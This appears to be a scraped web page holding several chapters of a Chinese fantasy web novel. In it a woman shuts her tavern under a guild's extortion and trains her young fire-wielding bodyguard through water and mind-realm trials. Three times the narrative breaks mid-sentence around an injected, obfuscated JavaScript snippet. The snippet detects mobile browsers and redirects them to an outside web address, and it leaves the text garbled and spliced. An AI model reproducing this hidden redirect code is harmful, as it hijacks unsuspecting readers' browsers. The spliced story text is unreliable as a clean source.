她瞧出何掌柜忧心忡忡,正好借这个机会,同他好好谈一谈。 姚烛倒了一壶茶。何掌柜在对面坐下。 “绿台是百年老店,有口皆碑。这两年生意江河日下是何缘故?” 何掌柜满脸苦笑,总算等到老板过问这事了,酒馆亏也好盈利也罢,老板都不管的。他有些感动,“您还记得富林商会吗。” 朝廷不作为,商户们抱团□□,商会应运而生。富林商会是仓州最大的商会之一。绿台酒馆同样挂靠其下。姚烛一听商会明白了他的意思,问道:“抽成又涨了。” 何掌柜道:“以前是年年涨,现在是月月涨。” 姚烛道:“涨到多少?” 何掌柜道:“收入的一半。” 酒馆收入,抛去成本价,伙计开支,日常损耗,最多盈利两三成。一般抽成都是在盈利的基础上抽的。富林商会直接抽掉收入的一半,趴着这么大一只吸血虫,难怪酒馆半死不活。姚烛心下有了判断,又问,“他们怎么知道大小酒馆的月收入?” 何掌柜长叹一口气,无奈道:“原先是让交账本的,后来大家都报假账。他们就派了监视蚊,挨家数客流,估算收入。” 敲骨吸髓,无所不用其极,世所罕见。 姚烛也觉得实在是荒谬,“不交会怎么样?” 何掌柜道:“会被强制关店。” 也是桩奇闻了,姚烛多年不理俗务,听了新鲜,“朝廷不管吗?” 何掌柜道:“朝廷去年关门了。” “关门?” “自从海运归到巡检司,朝廷在我们这收不上税,入不敷出,就关门了。” “巡检司不是负责查案的吗?” “原先是,后来巴结陆王,夺了海运管辖权,也捞钱去了。” 何掌柜分析这诡异世道,既讽刺,又离奇。比说书还没章法呢。 陆皇一统九州,分封义子为诸侯王,宗庙规制、法度礼仪、经济民生文化皆有据可循。朝廷收税养护民生,巡检司维持治安,可陆皇驾崩后,一切井井有条的法度走向崩坏。朝廷关门,巡检司都转向海运捞钱了。 这个世界乱糟糟的仿佛要爆炸一般。 姚烛与木橙来海云镇定居,正是看中这地方偏远,远离漩涡,但漩涡还是不可避免地卷到了九州每一寸土地。没有真正的安身之所,哪里都是乱的。陆明修创建的秩序无疑非常糟糕。但再糟糕的秩序都好过没有秩序。 何掌柜一脸苦瓜色。 问题已经相当严重,如果绿台倒闭,何掌柜恐怕会再次上吊。 姚烛道:“我们这次要交多少钱?” 何掌柜道:“加上前头拖欠的利息,一千八百两左右。” 绿台现在一个月都挣不了五百两,却要交一千八百两给商会。何掌柜也是彻底没招了,指望老板拿主意。姚烛忖度良久。 她穿书来此,这世界妖魔鬼怪,原本与她无关。只要完成任务,她兴许就能回到原来的文明社会。姚烛的处事原则是尽量冷眼旁观、不干涉他人因果。可寻找神器下落,非一日之功。在此之前,她总要有个安身之所。 “这笔银子暂且不要交了,吩咐下去明日起关店。” “您的意思是遣散大家?”何掌柜震惊抬起头。 “工钱如数发。要走的不留。”姚烛的下一句话打消了他的顾忌。 省掉那一千多两,发二十几个伙计的工钱当然绰绰有余。 既然上头敲骨吸髓,用抄店作为威胁,索性他们先关。静观其变。等风头过去再做打算。何掌柜原以为姚烛过问此事,定然不忿,要寻那商会会长的晦气。富林商会那群杂碎踩在他们头顶上作威作福,惹得天怒人怨,早该有人来收拾这群败类。 何掌柜一直期盼天降正义,将败类全部劈死。 得知姚烛行刺雀王之时,何掌柜心中充满恐惧。没人不害怕暴力,尤其是不可预测、难以名状的暴力。可当这种暴力站在自己这边,能为自己出头时,他难免期待。 可姚烛似乎没有那个意思,何掌柜不免有些失落遗憾,心下叹气。 姚烛并非莽撞逞强之人。 强龙不压地头蛇,商会盘根错节,得罪了更难缠。 老板既有决断,何掌柜也别无二话。商量完之后,宣布了闭店的安排,伙计们哗然。虽说生意不好,上头层层盘剥,绿台每况愈下大家看在眼里。忐忑归忐忑,倒不至于恐慌。他们听说老板是个极有本事的人。有炼丹卖钱的门路,不至于眼睁睁看着大家饿死。 只要老板在,绿台定不会走到山穷水尽那一步。 没想到一下子关店了,这在伙计们中间引发了轩然大波。有人叫嚣着要去冲击富林商会,出口恶气,义愤填膺。何掌柜安抚众人情绪,补了句工钱照发,才将闹事苗头压下去。大家你看看你我看看我,都没了主意。 工钱照发,意味着生路没断,也就是拿着工钱放假,来日开店继续干活。 既如此,还有什么好说的呢。一伙计跃跃欲试:“哪有白拿东家钱不干活的,要不我们操起家伙,去商会示威吧。” 有人附和。 何掌柜立即道:“胡闹,别给老板添麻烦。” 商会那帮人不是好得罪的。 何掌柜剖析利弊,讲明厉害关系。伙计们渐渐沉默下来。既然老板决定忍气吞声,他们还能说什么呢。到了下午,伙计们扛着包袱回家去,没有白拿工钱还多吃东家饭的道理。 绿台空了下来。 容溪听着园子里孤零零的鸟叫声,心中五味杂陈。他出海跑船,雀王的船就烧了。他加入绿台,绿台就关门了。怎么他到哪哪出事,怀着复杂心情走到楼上,站在姚烛门前。一门之隔,幽静无声。容溪抬起敲门的手屡屡放下。 “在外头晃什么?”姚烛的声音从里头传出来。 容溪心下咯噔一下。 他深呼吸,大方推门而入,装作自己本来就要进来。 起风了,窗户没关,满桌纸片乱颤。 姚烛刚看完这两年的账本。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922922|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬起眼,有些疲惫,目光落在容溪身上。容溪穿着上回买的衣裳。暗红色布料,玄色镶金线腰带,显气质。又是意气风发的年纪,十分亮眼夺目。 姚烛随口夸他:“这衣裳穿在你身上倒合适。” 容溪被夸懵,愣在那,直接忘了自己要说什么。 姚烛瞧他呆头鹅一样:“怎么了?” 容溪如梦初醒,脸上热得慌,仓促道:“我有件事想问你。” 姚烛道:“说。” 容溪道:“既然绿台生意不好,你为什么给我开那么高的工钱?” “你值这个价钱。” 姚烛撂下账本,掐着自己的眉心,放松肌肉。 容溪静静等待她的后文。他早就想问了。 姚烛道:“你来当护卫,你的忠心关乎我的安危。我要用你的时候很多。若我小气吝啬,只给你温饱钱。来日调/教好了,你跟别人跑掉,我岂不是亏大了。索性给多点,这样别人拐跑你的代价也会高一些。” 她说得有条有理,简单直白,听着叫人十分不舒服。 “我怎么可能会跑?”容溪感觉她把自己看扁了。 “这就难说了。” “我跟你签的契约,三年为期。这三年我的命都归你。” “忠心不是靠说的,”姚烛隔着账本望向他,认真的,带着审视的眼神,“得用实际行动证明。” “你要我怎么做?”容溪一时心焦,陷入难以自证的境地。 “明早天亮过来。” “好,”容溪一口答应。他必须向她证明自己是可靠的。 “绿台的事情你不用操心,”姚烛端起茶杯,喝了两口。估摸着是人走光了,让容溪这个新来的心里发毛。她得给他吃一颗定心丸,“那点工钱我还是能发出来的。” “你哪来那么多钱?”容溪好奇。 “炼丹,”姚烛手指动了动,“我会点石成金。” 这年头,大炼丹师非常稀少,尤其是能炼高纯度补气丹的。姚烛如果技艺精湛,根本不愁没钱花。可能绿台关门对她毫无影响。 容溪心里的好奇实在太多了。他觉得姚烛这人很矛盾。她敢摘雀王的心来吃,不畏强权,对上富林商会那群地头蛇,却又处处避让。竟然把店给关了。商会再厉害能有雀王厉害吗?她不怕雀王,却愿意忍他们。连何掌柜看起来都有些愤愤不平。 可容溪观察姚烛神色,似乎仍是懒懒的,毫无憋屈忍辱之意。 她似乎并不在乎这点小事。 对她来说,什么才叫大事呢? “这样看着我,”姚烛察觉容溪目光,“是什么意思?” “你摘雀王的心真是为了吃吗?”容溪鬼使神差问出口。他今天问了很多,她都解答了。 “木橙那张嘴,你也信,”姚烛嗤笑,“我又不是野人,吃什么心。” “那你为什么,”容溪忍不住要问。“要挖他的心呢?” 这问题之前追上岸的时候他问过一遍。姚烛没有回答。现在他们是一条船上的蚂蚱。容溪心里七上八下,感觉她还是会选择对他隐瞒。姚烛却给了他一个意料之外的回答,“你明日试炼若成功,我便告诉你。” 容溪意外道:“真的吗?” 姚烛道:“骗你是狗。” 8. 水火需相融 翌日清早,容溪如约而至。他跟在姚烛身后。两人下了楼,走入一间地下密室。姚烛将手掌贴在墙壁上。石墙缓缓开启,露出漆黑的楼梯。楼梯通往幽深的地下。 姚烛想起什么:“忘记带蜡烛了。” 容溪打了个响指,指尖迸发出小火苗。他手捧火苗,照亮二人的前路。 沿着狭窄的石梯走到尽头。底下是一方水池,池中浮露四方石台,不过四尺见方。石台与楼梯尽头倚靠木桥相连,那是唯一的路,他们走进密室后,只有容溪掌心火苗充当光源。照得两人影子在水面上颤颤巍巍,似地狱幽魂鬼火。 无风,无声,隔绝外切一切扰动。水面平滑如镜,深不见底。 抵达石台,姚烛席地而坐,在身前留出了一点距离,道:“坐。” 容溪也和她一样盘腿坐下来。地方很挤,两人的膝盖都快要碰到。若要往后躲,又会掉进水里。容溪看着四面空空如也的墙壁和水池,道:“这是你平常打坐修行的地方吗?” 姚烛道:“对。” 她是水系。密室能保证她不被打扰。 一年前搬到这里,特意命工匠在地下一层挖掘水池,搭建石台,造就了这座浑然天成的密室。姚烛在此打坐修行。水静则心静,临水清修有利于聚气养神。如果她心情躁动难安,这池水便会沸腾震荡不止。 两人对坐,围绕着一颗小火苗。四面水上都是他们两的倒影,重重叠叠。 姚烛问道:“你觉得这儿怎么样?” 容溪实话实说:“像墓穴。” 说话还挺实诚,姚烛道:“是吗?” 她时常呆在这,连蜡烛也不点,独自一人盘坐在黑暗中。感受不到时间的变化。 容溪不太喜欢压抑潮湿的地下空间。 “你昨天说的试炼是什么,要在这里开始吗?” “对。” “怎么练?” “你做了我的护卫,自然得熟悉我的属性。” 总不能花二十两招揽他进来,只为了陪逛街。这几天,容溪逐渐适应绿台的生活。他一直在等姚烛吐露真实目的。木橙透露过选他是看中他的属性。 “你需要我怎么做?”容溪心下紧张,故作镇定。 姚烛搭在膝盖上的右手轻轻一动。她并拢食指与中指,向上一挑。旁边池水中缓缓升起一颗浑圆水球。拳头大小,晶莹剔透。水球飞到二人中间。光滑表面反射着二人畸变的倒影。容溪看着自己扭曲的影像,又看向姚烛。 姚烛道:“抓住它。” 容溪伸出手去,触碰到水球的表面。很凉很滑。他轻轻一握,水球碎了。破碎水花险些打湿二人膝盖。姚烛微微眯起眼睛。落到半空中的水花竟然收拢,重新化作水球,悬停在刚才的位置上。姚烛示意他再次尝试,道:“用你的火苗。” 容溪换了策略,用火苗托举水球。 他极为小心,将火苗的高度压低,压得扁平,去承接水球。这次十分平稳,水球没有碎掉。只是水与火的接触面剧烈反应。水球在火苗的炙烤下迅速升温,变得热气腾腾。 容溪试着拿捏尺度。可他一放松,托不住,水球就往下掉。一发力,水球就烧得更厉害。里头滚水冒泡,不一会儿,发出密集咕噜声。 砰的一声,水球陡然炸开。 容溪心下一惊,眼睁睁看着滚水迸溅,朝姚烛脸上飞去。 姚烛眼睛一眨不眨,靠念力硬生生逼停了水花。她平放膝盖上的手指微微发力,水花又重新收拢,变成了刚开始那只完好无损的水球。覆水难收,却在她的控制下收放自如。 容溪并不擅长控水,也从未学过,两次失手。他隐隐感到困惑,“抱歉。” 姚烛道:“吸取经验,多练习。” 区区水球,他还能被难住。这是姚烛给他出的第一道题,他势必要拿下。 容溪被激起了好胜心,跃跃欲试,道:“再来。” 第三次尝试,他格外小心,不让自己的火焰直接接触水球。而是利用焰火产生的空气热流,形成隔热层。产生的弱力足以托举水球,又不至于烫坏了它。小心调整,耐着性子慢慢弄。 他注意力高度集中,直勾勾盯着水球,确定状态平稳,利用热流移动水球的位置。 没碎,也没炸掉。 容溪眼角浮现出些许笑意。 他带着邀功的意思看向姚烛。控制水球,绕着他们外围飞了一圈,四平八稳回到原点。水球完好无损。他通过姚烛给他的第一重考验。 容溪心下雀跃,道:“我成功了。” 姚烛道:“你成功了吗?” 她似笑非笑,手指做了个下翻的指令。刹那间,水球如莲花盛放,花瓣外翻,将托举它的火苗盖住,像包饺子似的整个包了起来。它将火苗一口吃掉,吞入腹中。火苗瞬间熄灭。容溪始料未及,万万没想到她会这么捉弄自己。 姚烛缓缓挑起眉毛,“你失败了。” 容溪一脸错愕,不知所措,“你明明说只要抓住就好了。” 他被戏弄后反应显得有些懵懂天真。 姚烛觉着很有意思,一本正经道:“你抓住了吗?你的火都消失了。” 容溪同她理论:“你不吃掉它,它怎么会消失?” 姚烛道:“这就是我想让你学习的。” 姚烛生得一双丹凤眼,眼头略尖,眼尾上扬,像柳叶似的将一汪笑意盛住了。 露目流转,那笑便漾开来。容溪愣住,看着她的眼睛。 “容溪,你是我的护卫。你不仅得学会如何保护我,也得学会保护自己。我们两属性相克,对于彼此都是危险的。我希望,我们能熟悉信任,在面临危险时,成为背靠背的盟友。” 她伸出手,握住容溪的手。 她的掌心滑下来覆盖他手背。肌肤相贴,像玉一样凉。 “我需要盟友,而不是一个人/肉盾牌。你的安全同样很重要。护卫是对外的称呼而已。就像木橙名义上是我的丫鬟。但其实她就像我的妹妹。只要她忠于我,想要什么我都会给她。无论她闯了多大的祸,我也会原谅她。” 姚烛抬起眼,眼里只有他一个人。 “容溪,你知道吗。见到你的第一眼,我感觉很亲切。好像我们前世就认识一样。也许这就是冥冥之中注定的缘分。我需要你,将来终有一日,你也会需要我。” “我们一起努力,好吗?” “……” 容溪沉默了半晌,手心微微出汗。 姚烛的目光让他倍感压力。 明明是柔和的,平易近人的。她的每句话都充满诱惑力。 容溪极为僵硬地抽回手,一脸不自在,“嗯……” 姚烛道:“好好练。” 得到容溪回答后,姚烛退到浮桥上,将石台为数不多的空间让给他。 姚烛先行离开。容溪摒弃杂念,以掌击水,漫天水花飞扬。像是下起一场小雨。 他试着收集雨水,感受水的充盈和柔软。 水滴在他掌心凝聚成球,缓慢膨胀,仿佛一只拥有呼吸的活物,吸收周围的水汽,不断壮大。很快,水球膨胀到脑袋大小。 容溪仅仅走出了第一步,还远远不够。谁知道下一次姚烛会用什么法子灭掉他的火苗呢?他必须练到了如指掌的程度,才能预判她的行为。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922923|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚上姚烛再次进入密室。里头一片白雾蒙蒙,热气弥漫。 容溪独坐石台上,脸蛋被蒸得白里透红,身上衣裳湿透,一滴汗顺着下巴滴入雪白领口。他双目紧闭,睫毛湿漉漉。姚烛停住了脚步。 容溪察觉身后有人靠近,睁开眼睛。 姚烛将他上下打量一番,这小子该不会是从上午一直练到现在,走火入魔了吧? 容溪正要开口说些什么,姚烛握住他手腕,试探脉搏。她的手冰凉如玉,陡然肌肤相触,容溪被这寒霜般的触感冰到了,他浑身一僵,豁然起身,像只敏感过度一碰就炸毛的猫,难以置信地瞪着姚烛。 姚烛感知他脉搏中并无异常,道:“还好没有走火入魔。” 容溪浑身肌肉紧绷,忙抽回了自己的手,他如临大敌十分紧张。 姚烛瞧他浑身是汗,脸色潮红,道:“先出去,别中暑了。” 外头月光柔软洁白,容溪呼吸到新鲜空气,身上燥热减轻,冷静下来。方才姚烛碰一下,他反应过度,像被电打了。怎么会这样呢。 姚烛问道:“你练了七个时辰?” 密室中根本感觉不到昼夜变化,容溪含糊回道:“嗯。” 姚烛以为他回去了,经过密室,瞧见门缝往外溢散白雾,才想起里头还有个人。这小子专心致志,竟然练了一天。姚烛道:“没让你一天练成,何必这么着急。” 容溪道:“我以为……” 话说一半,没了声响。姚烛回头望向他,问道:“以为什么?” 容溪道:“以为你关着我,意思是没有练成不许出去。” 姚烛眼神中露出点诧异的笑,“在你眼里,我这么坏的?” 容溪把目光转向别处,不说话。或许是他以前遇到过太多坏人压榨,习惯性忍气吞声逼迫自己。姚烛收敛打趣心思,道:“时候不早了,你回去休息吧。” 容溪道:“好。” 他走到半路上,又转过头:“我明日什么时辰来?” 姚烛道:“何处无水,自己得空练就是了。不必拘泥于密室。” 容溪领会到她的意思,点点头。月上中天,深更半夜,澡堂关了门。容溪到井边打了桶井水,脱掉湿衣裳,将身上黏腻汗水冲洗干净,洗完澡颇觉凉爽。密室对他来说太闷,又不通风。他练着练着,越来越热。 姚烛说以后不用去,正好合了他的心意。 洗完澡后容溪顶着一头湿发回到房间,发现桌上摆着一碗面条,热的。似乎刚送来,容溪心思一动,闪身冲出去,叫住回廊尽头远去的背影,“等等!” 那人转过身。容溪细看他正脸,是厨房的伙夫,“你给我送的面条?” 伙夫道:“老板让送的。” 容溪练了一天,还没吃东西,正好饿了。面是阳春面,底下卧了两个大荷包蛋,猪油葱花汤底,香气扑鼻。他连汤带面卷入腹中,五脏六腑皆被食物的暖意烘烤得软绵绵。倒头睡在床上,望着黑暗中的房梁。少年人身量挺拔,一张木板床装不下他。 他的脚架在床栏上,有一下没一下晃动着。 十分难得,容溪有些失眠。 他脑海中浮现今日与姚烛在密室对坐的画面。 两人之间的水球怦然炸碎,千万颗细小水珠反射着姚烛身影。每滴水都是她。无论容溪速度有多快,都抓不住她。姚烛沉静的目光悬在遥不可及的高处,俯视着脚下年轻气盛的挑战者,她稳如泰山,气定神闲,容溪在一次次挫败中逐渐变得心浮气躁。 他胡思乱想,躺在硬邦邦的单人床板上,抚摸姚烛方才抓过的手臂。 他心想,她手怎么那么凉…… 9. 第二次试炼 姚烛教的御水术,容溪私下练习多回,渐渐掌握技巧。关于雀王挖心的秘密像只钩子一样钓着他的胃口。他无时无刻不在想着那个秘密。因此刻苦钻研,不舍昼夜。等到练习成果颇有成效,他再次找到姚烛,准备与她切磋一下。 夏日夜凉如水。 姚烛刚泡完澡,换了冰凉裙衫,坐在窗台上吹风。 晚风渐渐吹干了头发。 门上现出一道瘦削的身影,“是我。” 不知为何,每次他敲门,都要在门口站半天,做足心理建设。他拼命压制那份紧张尽量装作若无其事,好像屋里有老虎会吃人似的。得到姚烛许可,容溪推门而入。他端着安神药走进来。浓黑汤药散发出苦涩香气。这是姚烛吩咐厨房熬的。 容溪顺路端了上来,闻着药性很强。 姚烛端起药碗喝了。 容溪问道:“为什么喝安神药,你失眠啊?” 姚烛回到榻上躺下。白色裙衫贴滑落坠地,勾勒出身段柔软纤长。她单手撑着太阳穴,眼睛半睁不闭。姿态慵懒。榻前紫炉中点着支香,生出一丝细长的冷烟,缠绕,时舒时卷,像只虫子一样钻到他心里去。窗中窥月,灯下看人,同一色风流妩媚。 孤男寡女,容溪有些不自在,他眼神无处安放,“你要睡了,那今天还试炼吗?” 姚烛道:“过来。” 这两个字发出的音格外低,像珠子地上滚,撞到他脚边。 容溪的魂魄差点给撞出去了。 他莫名其妙,心想她怎么这样娇滴滴说话。简直让人起鸡皮疙瘩。他头皮发麻,脚步却不由自主蹭到美人榻前,他蹲了下来,连呼吸都屏住。 二人视线平齐。姚烛强撑着困意,“上回在暗室教你的御水术,练得怎么样?” 她额前一根发丝滑下来,勾在鼻梁上,压着一颗红色的小痣。 容溪特别想给她捞起来别到耳后去,“还、还行。” 姚烛道:“展示一下。” “现在?” “嗯。” “这里没有水。” “闭眼,我们去一个有水的地方。” 姚烛握住容溪的后脑勺,跟他碰额头。他们眉心相贴。一点光芒绽放。 容溪猛然瞪大眼睛。打了个激灵。某种力量封闭他的五感,拽着他往水下沉去。他本能挣扎,然而一个浪花当头棒喝,淹没天灵盖。他身体剧烈哆嗦了一下,眼前视线逐渐模糊漆黑。四肢百骸失去了知觉,肺腑窒息,意识涣散。 短短一瞬沧海桑田。 他整个人神魂出窍。仿佛被人生生抽走魂魄。 不知过了多久,他仰头钻出水面,终于呼吸到新鲜空气。劫后余生。恢复知觉的瞬间,他本能推开姚烛,没站稳,晕头转向摔在地上。 姚烛到底对他做了什么? 容溪晃了晃脑袋,脚踩棉花似的摇摇晃晃。 周围白茫茫一片,万丈雪山拔地而起。冰河静静流淌。天地纯白。姚烛沿着河谷缓缓走来。唯有她是这世上唯一的色彩。容溪迷失在陡然切换后的场景中,他从雪地里爬起来,不知身在何处。抬起头,茫然四顾,十分讶异,“这是哪里?” 怎么会有一座这么高的山和皑皑雪原? 他抓了把雪,手指上冰凉绵密的触感,异常真实。 姚烛道:“这是我的识海。” 修道之人的识海象征着他们的内心世界。 有人的识海风平浪静,有的波涛汹涌。识海一般是封闭的,被入侵意味着危险降临。姚烛居然把他带到自己的识海里? 容溪望着浩瀚苍茫的雪原,不敢相信。 姚烛在河岸边坐下来,让双腿泡在冰凉刺骨的河水里,面朝着雪山。河水从雪山上来,奔流向东。她的世界一片荒芜,只有厚重的山和雪。 “水在这,”姚烛朝容溪招手,“练吧。” 容溪刚学会基础的御水术。这第二重考验的难度未免跨得太高了。眼前所见皆为幻象,是姚烛心中投射的影子。他该如何操纵一个人心中的影子呢? 难道说这就是传说中的意念斗法?他现在大概是元神出窍的状态。 姚烛道:“试试看。” 容溪对此毫无心理准备。他赶鸭子上架,硬着头皮催动法术。大江东流,他抬手控水,连一个小水花都没能惊起。 姚烛拍拍他膝盖,道:“坐下,你太紧张了。” 容溪一脸懵,忍不住问道:“我们为何要在你的识海里试炼?” 姚烛道:“因为我们很快就要去一个很危险的地方,那里充斥火海炼狱,你得为我护法。” “什么?”容溪一惊。 “成了,皆大欢喜。不成,我就会死在那。” 姚烛以性命为代价开启了这场豪赌,将容溪拉入局中。 这件事的难度相当惊人。姚烛必须尽可能放松,交出身体的控制权,降低容溪护法的难度。为免产生排斥,她给自己灌下大量安神药,调整到昏昏欲睡的状态。如果不这么做,容溪根本无法入侵她的识海。她的潜意识会自动抹杀入侵者。 他们对于彼此来说都很危险。 容溪需要用灵火覆盖这一整座雪山。太庞大也太困难了。一旦失败,破裂的不是水球,而是姚烛的元神。这是在玩命。 “为什么?那个地方非去不可吗?”他疑惑万分。姚烛要去的地方如此危险,却草率地选择了他。他从未背负过这样重的代价。 “非去不可。”姚烛眼神笃定,带着一往无前的孤绝。 “你为什么选择我?” “缘分吧。”她冲他微笑,坦白一切,“容溪,命运安排你在这个时间点出现。说明你是唯一的适合人选。我选择了你,甘愿承担一切后果。成败输赢,自有定数。你尽力而为,就不算辜负了我。你是我第一眼相中的人。我相信,你能助我一臂之力。” 她为什么,要把生死攸关的任务交给他,而不是别人呢。 “为什么不是木橙?”容溪胸膛里的跳动震耳欲聋。他只觉茫然无措。 “她不是火系。而且,就算她是火系。也完成不了这个任务。这些天相处,你应该也看出她有多不靠谱了。我只能靠你。”姚烛实话实说,无比诚恳。 容溪哑口无言,千言万语汇聚到胸口。他好像从没有被谁坚定选择过。父亲一直把他视作未长大的孩子,不放心他出去闯荡。而茫茫人海中,有人从千万个人中一眼挑中了你,把性命交给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922924|192640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你怎么忍心辜负她,让她失望呢? 沉甸甸的责任压在心头,让人血脉偾张,心潮澎湃。姚烛看着他的眼神好像他无所不能。容溪意识到自己绝对不能辜负这份信任。否则他会抱憾终身,被悔恨压垮。他肩负着的,是一份从未有过的珍贵期待。容溪沉默良久,浑身的血涌到了头顶。 他屏住呼吸,视死如归一般郑重,沉声道:“我会尽全力。” 就算死,也得把事情办好。 姚烛笑道:“好。” 姚烛带着笑意的脸庞消失在雪原中。 寒风呼啸而过,容溪逐渐从热血上头的亢奋中冷静下来。一切是如此的荒诞。姚烛竟然把他留在识海中,然后毫无防备的去睡觉了。如果容溪起了歹心,她很有可能会在睡梦中毫无知觉的情况下被杀死。她真的对他,一点防备心也没有吗? 姚烛一觉醒来,天已经大亮了。 安神药能让神经舒缓,肌肉放松。她醒过来身上还是软绵绵的。 容溪坐在地上,还保持着元神出窍前的姿态。他眉头紧锁,神情严肃,专注的样子怪可爱的。阳光落在少年轮廓明晰的五官上。姚烛伸手握住他的脸,轻轻捏了一把。 容溪眼睫毛颤了颤。 姚烛趁机在他腮帮子上又捏一下,手感倒很不错,“如何?” 容溪回过神,渐渐苏醒过来。看见姚烛和房间内陈设。雪山画面在脑海中挥之不去。他意识到自己已经回归本体,但心思仍在试炼上。 姚烛道:“有进展吗?” 容溪试了一晚上,仅仅拨动了几缕小水花。姚烛意念所化之物坚不可摧,难以撼动。她浑厚的内力让整座雪原固若金汤,哪怕睡着了,也是一座堡垒。容溪尚未找出突破口,天这么快就亮了。他难免心浮气躁,急切道:“我得再试一试。” 姚烛安慰他:“没事,别着急。” 容溪自尊心受挫,那股不服输的劲儿又上来了。 他直起身,情急之下揽住姚烛肩膀,试图再次进入她的识海,“再来。” 姚烛往前栽了下去。容溪主动凑过来碰额头。因姚烛位置稍微高一些,他跪坐在地上。不得不仰头迁就,他脖颈线条修长,红润嘴唇微微张开,迫切等待着什么。此情状颇有意趣,姚烛近距离注视着他执拗的眼睛,忽然发觉他还是个年轻气盛的少年。 阳光明媚,外头春色满园。 风雪中人偶然窥得鲜花一朵,也难免心生触动。 大概是那安神药的药劲儿还没彻底过去。姚烛失神一笑,她在想什么。这念头未免太过莫名其妙了。姚烛伸出食指点在他眉心,连带着那莫名绮念按了下去。 “我已经醒了,你进不去的。” 姚烛下了榻,宽大袖摆从他面上拂过。容溪迟钝地睁开了眼睛。朦胧暖色盖过刺眼阳光,接触他面庞的料子异常柔软,透出馨香。他仿佛被那块布吸走了魂魄,心尖猛然一颤,下意识伸出手,想抓住,人却走远。他喉头滚动,不自觉咽了口口水。 姚烛取回木橙放置在门口的食盒。她弓腰挽袖,姿态娴静从容,柔婉动人。 “过来吃东西。吃完再试。” 容溪看着她愣了好久,惶然若有所失,道:“好。” 10. 许多个姚烛 姚烛将食盒提到桌子上。打开,猝不及防的,钻出一只老鼠。 老鼠从桌上跳到地上。 容溪眼疾手快,反手提起椅子,椅子腿捣在老鼠背上,鲜血四溅。绿台很干净,没见过什么蛇虫老鼠。容溪提着耗子尾巴拿远一些,怕恶心到姚烛。 姚烛唔了一声:“怎么会有老鼠?” 容溪道:“估计是昨天下雨,从街上窜出来的。” 姚烛道:“不可能。”她住的地方,老鼠应该退避三舍才对。 容溪准备把死耗子拿出去扔掉。 姚烛端详地板上的血迹,道:“等等。” 容溪脚步遽然顿住。 姚烛道:“这血颜色不对。” 容溪还没反应过来,老鼠剧烈扭动,冒出滚滚黑烟。二人被迅速扩散开来的黑烟包围。地面震动起来。姚烛抓住容溪手臂,他们脚下地板不知何时变成了一个大洞。两人掉入洞中,被深渊吞噬。在房间里消失得无影无踪。 漫长的坠落后,二人再次睁开眼。 四周群山环抱,星辰璀璨。崖壁仿佛被利斧劈开般险峻陡峭,山谷中流淌着一条湍急的溪流。他们躺在溪畔,身下繁花似锦,野草繁茂。 容溪感觉到姚烛的脑袋趴在自己胸口。她的簪子硌到了他的肋骨。 姚烛抬起头来,头上挽发的簪子随之脱落。她挽着的发髻较为松垮,此刻长发垂落如瀑,全部盖在容溪脸上。容溪手忙脚乱拨开,顾不上脸上阵阵痒意,他站起来,周身戒备,观察四周环境,“这是什么地方?” 姚烛道:“我们被卷入迷阵了。” 容溪道:“迷阵?” 姚烛仰起头,观察崖底一线天上微薄的星辰。 方才的世界是大白天,这是却是晴朗夜空,而且星辰轨迹与现实世界不符,故而姚烛推断,他们进入了迷阵。“方才那只老鼠,应该是诱饵。迷阵入口藏在它的肚子里。只要杀死老鼠,我们就会掉进陷阱。” 大千世界无奇不有。容溪闻言一怔,终是他见识短浅,疏于防范,道:“是我莽撞了。” 他不该一时冲动直接杀死老鼠。 姚烛道:“这种阴险法子,很难躲得过。” 容溪眉头紧皱,“我去找找出口。” 姚烛摸索着草丛里的簪子,把头发重新挽起。 眼下她只穿了一件单薄的寝衣,鞋也没有。可能是有史以来最仓促掉进迷阵的人。 容溪在山谷里转了一圈,发现这山谷是四面合围的,几乎封闭,没有出口,崖壁又过于陡峭,没有借力的地方。因此他回到原点,对姚烛道:“我们可能得顺着溪水游出去。” 姚烛盘腿打坐,白袍盖着双脚,微风吹动衣角,露出白净脚趾。 容溪脱下自己的外袍递给她,道:“穿上。” 姚烛道:“不冷。” 容溪蹲下来,强行套在她肩膀上,道:“不冷也得穿。” 姚烛道:“你怎么跟木橙一样……”啰嗦。 考虑到她没鞋不方便走,容溪独自下水探路。姚烛在原地等候消息。 容溪闭气潜入水底,顺流而下。 至幽暗处,逢左右二口。大小相仿,择左,行一里。他从水面下冒头呼吸两次,路径渐渐空旷起来,溪水变浅。他徒步涉水前进,见山崖溪畔繁花,与方才出发的环境别无二致。难道这里到处都是一样的洞穴吗? 容溪留神观察暗处乱窜的老鼠,老鼠肯定知道出路。 